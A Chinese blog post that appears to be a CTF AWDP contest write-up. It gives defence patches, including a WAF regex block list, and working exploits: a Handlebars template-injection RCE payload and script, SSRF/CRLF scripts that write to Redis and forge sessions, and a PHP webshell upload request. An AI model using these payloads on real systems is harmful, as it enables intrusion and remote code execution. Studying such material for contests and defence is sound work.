内部赛-2023第三届网络安全攻防大赛团队赛②-复赛AWDP

防御

  • flower_shop - evilPatcher 通防
  • safevm - evilPatcher 通防

do you like shop

function.php

// 137行
    function recurse_copy($src, $dst)
    {
        $now = getTime();
        $dir = opendir($src);
        @mkdir($dst);
        while (false !== $file = readdir($dir)) {
            if (($file != '.') && ($file != '..')) {
                if (is_dir($src . '/' . $file)) {
                    recurse_copy($src . '/' . $file, $dst . '/' . $file);
                }
                else {
                    return "";
                }
            }
        }
        closedir($dir);

        return true;
    }

nodeisgood

app.js

// 60行
return res.send(fs.readFileSync('app.js').toString());
// 70行
data = '';

localapi

https://hackerone.com/reports/1820955?ref=www.ctfiot.com

util.js 修复

    static restrictToLocalhost(req, res, next) {
        const remoteAddress = (req.connection.remoteAddress ||
        req.socket.remoteAddress ||
        req.connection.socket.remoteAddress).match(/\d+\.\d+\.\d+\.\d+/)[0];
        var regexp_rule = [/'/i, /select.+(from|limit)/i, /(?:(union(.*?)select))/i, /sleep\((\s*)(\d*)(\s*)\)/i, /group\s+by.+\(/i, /(?:from\W+information_schema\W)/i, /(?:(?:current_)user|database|schema|connection_id)\s*\(/i, /\s*or\s+.*=.*/i, /order\s+by\s+.*--$/i, /benchmark\((.*)\,(.*)\)/i, /base64_decode\(/i, /(?:(?:current_)user|database|version|schema|connection_id)\s*\(/i, /(?:etc\/\W*passwd)/i, /into(\s+)+(?:dump|out)file\s*/i, /xwork.MethodAccessor/i, /(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|preg_\w+|execute|echo|print|print_r|var_dump|(fp)open|child_process|alert|showmodaldialog)\(/i, /\<(iframe|script|body|img|layer|div|meta|style|base|object|input)/i, /(onmouseover|onmousemove|onerror|onload)\=/i, /javascript:/i, /\.\.\/\.\.\//i, /\|\|.*(?:ls|pwd|whoami|ll|ifconfog|ipconfig|&&|chmod|cd|mkdir|rmdir|cp|mv)/i, /(?:ls|pwd|whoami|ll|ifconfog|ipconfig|&&|chmod|cd|mkdir|rmdir|cp|mv).*\|\|/i, /(gopher|doc|php|glob|file|phar|zlib|ftp|ldap|dict|ogg|data)\:\//i];
    for (i = 0; i < regexp_rule.length; i++) {
        //console.log(regexp_rule[i]);
        if (regexp_rule[i].test(remoteAddress) == true) {
            //console.log("attack detected, rule number:", "(" + i + ")", regexp_rule[i]);
            return res.json({ 'msg': 'stop!!!' });
            break;
        }
    }

公司招商

// 100行, 替换上传后的 php 字符串, 我这个弄得麻烦了应该有更简单的方法
move_uploaded_file($tmp_name, "$uploads_dir/$filename");

$handle = fopen("$uploads_dir/$filename", "r");
$contents = fread($handle, filesize($filename));
fclose($handle);


$s2 = str_replace("php", "", $contents);
echo $s2;
$handle = fopen("$uploads_dir/$filename", "w");
fwrite($handle, $s2);
fclose($handle);
//  move_uploaded_file($tmp_name, "$uploads_dir/$new_file_name");

CTF

nodeisgood

先用 http://xxxunqiu.com:3000/upload API上传模版文件到服务器..

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return global.process.mainModule.constructor._load('child_process').execSync('/readflag / > /tmp/res');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

发送POST请求进行模板渲染命令执行

POST http://eci-2zebqkv83e5kw86aqow4.cloudeci1.ichunqiu.com:3000/home?md5=
Content-Type: application/json

{"name": {"name":"ddddd","layout": "./../../../../../../../../../../../tmp/nodeisgood.tmp"}}

再用get请求读取命令执行信息, 获得flag

GET http://eci-2zebqkv83e5kw86aqow4.cloudeci1.ichunqiu.com:3000/read?read=./../../../../../../../../../../../tmp/res

利用脚本

import requests

data = {"data": """"{{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return global.process.mainModule.constructor._load('child_process').execSync('/readflag / > /tmp/res');"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}} """}

requests.post('http://eci-2zeacjw9s6fuvmodkrvc.cloudeci1.ichunqiu.com:3000/upload', data=data)
data1 = {"name": {"name": "ddddd", "layout": "./../../../../../../../../../../../tmp/nodeisgood.tmp"}}
requests.post('http://eci-2zeacjw9s6fuvmodkrvc.cloudeci1.ichunqiu.com:3000/home?md5=', json=data1)
res = requests.get('http://eci-2zeacjw9s6fuvmodkrvc.cloudeci1.ichunqiu.com:3000/read?read=./../../../../../../../../../../../tmp/res')
print(res.text)

localapi 未完成

clrf注入. 测试时可以转到 nc -lvvp 3001 来查看写的数据对不对。设置 session时, value外要包一层 ''

尝试测试 redis写数据.

写文件

from urllib.parse import quote

a = '''auth tHis_1s_Red1s_pAssw0rd
config set dbfilename 123123
set x "aaaaa"
save
'''


def work():
    targetip = '''http://127.0.0.1:6379&headers[host]=127.0.0.1:6379\n''' + a
    targetip = quote(targetip, safe='&./:[]=')
    targetip = quote(targetip, safe='./:')
    url = 'http://192.168.88.140:3000/api/proxy?url=http://127.0.0.1:3000/api/connect?targetIp=' + targetip
    print(url)


work()

写session

from urllib.parse import quote


def redis_set_session():
    sess_value = '\'{"cookie":{"originalMaxAge":3600000,"expires":"2023-08-25T22:48:39.009Z","httpOnly":false,"path":"/"},"user": { "username": "admin" ,"isLogin": true}}\''
    a = '''auth tHis_1s_Red1s_pAssw0rd
set sess:YGNc4YlyQZavd66wfMxF0fJ7YNNTaJlP %s ''' % sess_value
    targetip = '''http://127.0.0.1:6379&headers[Host]=127.0.0.1:6379\n''' + a
    targetip = quote(targetip, safe='&./:[]=')
    targetip = quote(targetip, safe='./:')
    url = 'http://192.168.127.150:3000/api/proxy?url=http://127.0.0.1:3000/api/connect?targetIp=' + targetip
    print(url)


redis_set_session()

生成 crlf注入

from urllib.parse import quote, unquote

cookie = 'connect.sid=s%3A3MSiRgkA8KYei3AeA8dBZNmAaqBqRkYr.aw6M6EpK84fTyJKt%2F1JdpeDKXig8RXDDshlcrEZlS7o'  # 转一下

cookie = quote(cookie, safe='=%')
p2 = f"""&headers[Host]=127.0.0.1:3000
Cookie: {cookie}
Content-Type: plain/text
Connection: close
Content-Length: 5


"""
# s3 = urlencode(p2)
# url = http://127.0.0.1:3000/api/connect?targetIp=http://127.0.0.1:3000/api/list?dirname=views + s3
# http://127.0.0.1:3000/api/connect?targetIp=http://127.0.0.1:3000/api/list&headers%5Bhost%5D=192.168.127.150:3000%0ACookie:%20connect.sid=s%253ARwMwXjSD6ZTPZNjV2O75_BFwgwwnNPIu.2%252F1A%252FPfXF6U33DbVPRMY%252FQF5%252BS%252Ficliv2WWK5ncrjL4%0AContent-Type:%20plain/text%0AConnection:%20keep-alive%0AContent-Length:%203%0A%0A%0A%0A
print(p2)

c = quote(p2, safe='&:=')

print(c)
print('http://127.0.0.1:3000/api/connect?targetIp=http://127.0.0.1:3000/api/list?dirname=views' + c)

script

utils.py

import json
from urllib.parse import quote
import re


def redis_write_file():
    a = '''auth tHis_1s_Red1s_pAssw0rd
    config set dbfilename 123123
    set x "aaaaa"
    save
    '''
    targetip = '''http://127.0.0.1:6379&headers[Host]=127.0.0.1:6379\n''' + a
    targetip = quote(targetip, safe='&./:[]=')
    targetip = quote(targetip, safe='./:')
    url = 'http://192.168.88.140:3000/api/proxy?url=http://127.0.0.1:3000/api/connect?targetIp=' + targetip
    print(url)


def redis_set_session():
    sess_value = '\'{"cookie":{"originalMaxAge":3600000,"expires":"2023-08-25T22:48:39.009Z","httpOnly":false,"path":"/"},"user": { "username": "admin" ,"isLogin": true}}\''
    a = '''auth tHis_1s_Red1s_pAssw0rd
set sess:YGNc4YlyQZavd66wfMxF0fJ7YNNTaJlP %s
save
''' % sess_value
    targetip = '''http://127.0.0.1:6379&headers[Host]=127.0.0.1:6379\n''' + a
    targetip = quote(targetip, safe='&./:[]=')
    targetip = quote(targetip, safe='./:')
    url = 'http://192.168.127.150:3000/api/proxy?url=http://127.0.0.1:3000/api/connect?targetIp=' + targetip

    print(url)


def print_access_url(debug=False):
    cookie = 'connect.sid=s%3AYGNc4YlyQZavd66wfMxF0fJ7YNNTaJlP.2UD%2Bxqxr3jw9BJDyH7YXwgmu8XX4Q%2Bdm%2FTlfOC%2FU9Vw'  # 转一下

    cookie = quote(cookie, safe='=%')
    p2 = f"""&headers[host]=127.0.0.1:3000
Cookie: {cookie}
Connection: close
Content-Length: 4


"""

    c = quote(p2, safe='&:=')
    c = c.replace('%0A', '%0D%0A')

    url = 'http://127.0.0.1:3000/api/connect?targetIp=http://127.0.0.1:3000/api/list?dirname=views' + c
    ip1 = '192.168.127.150'
    ip_debug = '192.168.127.1'

    view2 = re.sub(r'(?<=http://)(.*?)(?=:)', ip1, url, count=1)
    if not debug:
        return view2
    if debug:
        view3 = re.sub(r'(?<=targetIp=http://)(.*?)(?=:)', ip_debug, view2, count=1)
        print(p2)
        print(c)
        print(url)
        print('访问这个')
        print(view2)
        print(view3)
        print('\nview remote debug')
        print(view2.replace('127.0.0.1', '192.168.127.150'))


def print_access_url_with_proxy():
    url = print_access_url()
    path, params = url.split('targetIp=')
    targetIp_encode = path + 'targetIp=' + quote(params)
    url2 = 'http://192.168.127.150:3000/api/proxy?url=' + targetIp_encode
    return url2


def parse_response_with_proxyurl():
    import requests, jsonpath

    url = print_access_url_with_proxy()
    print(url)
    r = requests.get(url)
    data = r.json()
    arr = jsonpath.jsonpath(data, '$.message.1._readableState.buffer.head.data.data[*]')
    res1 = ''.join(chr(x) for x in arr)
    print(res1)

    arr2 = jsonpath.jsonpath(json.loads(res1), '$.message.body._readableState.buffer.head.data.data[*]')
    res2 = ''.join(chr(x) for x in arr2)
    print(res2)

solve.py

from utils import redis_set_session, print_access_url,print_access_url_with_proxy,parse_response_with_proxyurl

# redis_set_session()
# print(print_access_url())
# print(print_access_url(debug=True))
# print(print_access_url_with_proxy())
parse_response_with_proxyurl()

理论上配合 redis 修改 session 后, 再用 /api/upload 进行上传文件 + twig 模板注入即可完成。。

公司招商

POST /add-service.php HTTP/1.1
Host: 192.168.88.130
Content-Length: 810
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.88.130
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySvSLVFOjBD5GEk8P
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.88.130/add-service.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XDEBUG_SESSION=XDEBUG_ECLIPSE
Connection: close

------WebKitFormBoundarySvSLVFOjBD5GEk8P
Content-Disposition: form-data; name="service_title"


------WebKitFormBoundarySvSLVFOjBD5GEk8P
Content-Disposition: form-data; name="service_desc"


------WebKitFormBoundarySvSLVFOjBD5GEk8P
Content-Disposition: form-data; name="service_detail"


------WebKitFormBoundarySvSLVFOjBD5GEk8P
Content-Disposition: form-data; name="filename[0]"

a.php/
------WebKitFormBoundarySvSLVFOjBD5GEk8P
Content-Disposition: form-data; name="filename[2]"

jpg
------WebKitFormBoundarySvSLVFOjBD5GEk8P
Content-Disposition: form-data; name="ufile"; filename="a.php"
Content-Type: image/jpeg

GIF89a<?php @eval($_POST[cmd]); ?>
------WebKitFormBoundarySvSLVFOjBD5GEk8P
Content-Disposition: form-data; name="save"


------WebKitFormBoundarySvSLVFOjBD5GEk8P--

do you like shop | Continue

这边上传压缩包会解压

install password在这边

/data/runtime/cache/8b/26ee33f24ca5ce29bebc37cb105a4e.php

install password第一次设的时候会生成一个缓存文件 然后刚好这个缓存文件也在给你们的源码里

posted @ 2023-07-14 05:53  wgf4242  阅读(533)  评论(0编辑  收藏  举报